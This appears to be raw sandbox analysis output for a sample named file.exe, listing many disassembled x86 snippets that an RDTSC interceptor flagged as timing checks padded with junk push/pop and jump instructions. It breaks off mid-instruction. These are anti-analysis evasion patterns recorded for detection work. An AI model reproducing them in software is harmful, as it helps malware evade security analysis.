Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A72D99 second address: A72DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F44646ECA4Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A732FC second address: A73302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73302 second address: A73308 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73308 second address: A73312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73312 second address: A73316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A73316 second address: A7332F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4465131BCEh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A768D6 second address: A768F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA56h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76A15 second address: A76A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4465131BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76A1F second address: A76A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c jng 00007F44646ECA52h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F44646ECA4Eh 0x00000019 push esi 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76B94 second address: A76BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76E36 second address: A76E3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76E3A second address: A76E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4465131BD8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76E58 second address: A76E5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76E5E second address: A76E75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BD3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FE5 second address: A76FEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FEC second address: A76FF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A76FF1 second address: A77037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F44646ECA59h 0x00000009 je 00007F44646ECA46h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 jp 00007F44646ECA63h 0x00000019 jmp 00007F44646ECA57h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF4A second address: A7BF55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF55 second address: A7BF69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jng 00007F44646ECA46h 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF69 second address: A7BF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7BF6F second address: A7BF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F44646ECA4Fh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A835DB second address: A835DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A835DF second address: A835E9 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83B60 second address: A83B66 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83B66 second address: A83B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A83B71 second address: A83B86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4465131BC6h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d je 00007F4465131BDBh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A85176 second address: A8519C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA50h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007F44646ECA4Dh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8A8DB second address: A8A8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4465131BCEh 0x00000009 pop ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C5F5 second address: A9C5F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C5F9 second address: A9C61B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F4465131BC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F4465131BCEh 0x00000012 jnc 00007F4465131BC6h 0x00000018 pop edi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C61B second address: A9C646 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F44646ECA46h 0x00000009 pop esi 0x0000000a jnc 00007F44646ECA4Ch 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 js 00007F44646ECA4Ah 0x00000019 push esi 0x0000001a pop esi 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f jnc 00007F44646ECA46h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C444 second address: A9C44A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9C44A second address: A9C49B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jno 00007F44646ECA46h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jno 00007F44646ECA46h 0x00000015 popad 0x00000016 pop ebx 0x00000017 push edx 0x00000018 pushad 0x00000019 jp 00007F44646ECA46h 0x0000001f jmp 00007F44646ECA57h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push edi 0x00000028 jmp 00007F44646ECA55h 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A9F830 second address: A9F84A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA82AC second address: AA82B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA82B0 second address: AA82CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4465131BD7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA82CD second address: AA82D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F44646ECA46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA82D7 second address: AA82DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF9A0 second address: AAF9A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF9A4 second address: AAF9A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF9A8 second address: AAFA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F44646ECA52h 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007F44646ECA4Fh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F44646ECA4Fh 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F44646ECA4Fh 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F44646ECA4Eh 0x0000002e jmp 00007F44646ECA4Ch 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAFA16 second address: AAFA1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF84C second address: AAF860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA50h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF860 second address: AAF866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB76C8 second address: AB76CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB76CF second address: AB76D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB76D5 second address: AB76DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB76DE second address: AB76E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB79CD second address: AB79F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F44646ECA46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F44646ECA54h 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push edx 0x00000014 pop edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7B47 second address: AB7B51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F4465131BC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7CC3 second address: AB7CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7CCD second address: AB7CD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F29 second address: AB7F2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F2F second address: AB7F38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F38 second address: AB7F3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F3E second address: AB7F50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F4465131BCCh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB7F50 second address: AB7F5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jc 00007F44646ECA46h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB840 second address: ABB865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jp 00007F4465131BE0h 0x0000000f jmp 00007F4465131BD4h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABB865 second address: ABB874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F44646ECA46h 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBA07 second address: ABBA16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4465131BCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBA16 second address: ABBA39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F44646ECA57h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBA39 second address: ABBA56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD7h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABBA56 second address: ABBA5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4977 second address: AC49A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BD7h 0x00000007 ja 00007F4465131BC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F4465131BCDh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC49A5 second address: AC49BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA54h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADB763 second address: ADB769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF16F3 second address: AF172A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F44646ECA4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007F44646ECA58h 0x00000010 pop eax 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007F44646ECA46h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF172A second address: AF172E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04BF second address: AF04C5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF04C5 second address: AF04CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0ABE second address: AF0ACA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F44646ECA46h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0ACA second address: AF0ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DC2 second address: AF0DE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F44646ECA4Ch 0x0000000d push edi 0x0000000e pop edi 0x0000000f jnp 00007F44646ECA46h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DE3 second address: AF0DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF0DE9 second address: AF0DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF105A second address: AF1060 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF11CD second address: AF1203 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007F44646ECA57h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F44646ECA53h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1203 second address: AF1207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF1207 second address: AF120D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF43F1 second address: AF441E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F4465131BD9h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d popad 0x0000000e popad 0x0000000f mov eax, dword ptr [eax] 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 push edi 0x00000017 pop edi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF441E second address: AF4428 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F44646ECA4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A2F second address: AF5A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF5A37 second address: AF5A3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5020A second address: 4B50231 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4465131BCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4465131BD5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50231 second address: 4B5024B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5024B second address: 4B5026E instructions: 0x00000000 rdtsc 0x00000002 mov bh, 52h 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007F4465131BD2h 0x0000000b mov edx, ecx 0x0000000d pop esi 0x0000000e popad 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5026E second address: 4B50284 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA52h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502D9 second address: 4B502E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502E5 second address: 4B502EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 04EAFDFAh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B502EF second address: 4B502F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50369 second address: 4B50378 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F44646ECA4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50378 second address: 4B503B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 355B3BCAh 0x00000008 mov ecx, edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push ebp 0x0000000e jmp 00007F4465131BCAh 0x00000013 mov dword ptr [esp], ebp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007F4465131BCCh 0x0000001f sub cx, AAB8h 0x00000024 jmp 00007F4465131BCBh 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50475 second address: 4B5048D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F44646ECA54h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5048D second address: 4B50491 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B50491 second address: 4B504F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 3A447016h 0x0000000f jmp 00007F44646ECA57h 0x00000014 call 00007F44D5110581h 0x00000019 push 755727D0h 0x0000001e push dword ptr fs:[00000000h] 0x00000025 mov eax, dword ptr [esp+10h] 0x00000029 mov dword ptr [esp+10h], ebp 0x0000002d lea ebp, dword ptr [esp+10h] 0x00000031 sub esp, eax 0x00000033 push ebx 0x00000034 push esi 0x00000035 push edi 0x00000036 mov eax, dword ptr [75600140h] 0x0000003b xor dword ptr [ebp-04h], eax 0x0000003e xor eax, ebp 0x00000040 push eax 0x00000041 mov dword ptr [ebp-18h], esp 0x00000044 push dword ptr [ebp-08h] 0x00000047 mov eax, dword ptr [ebp-04h] 0x0000004a 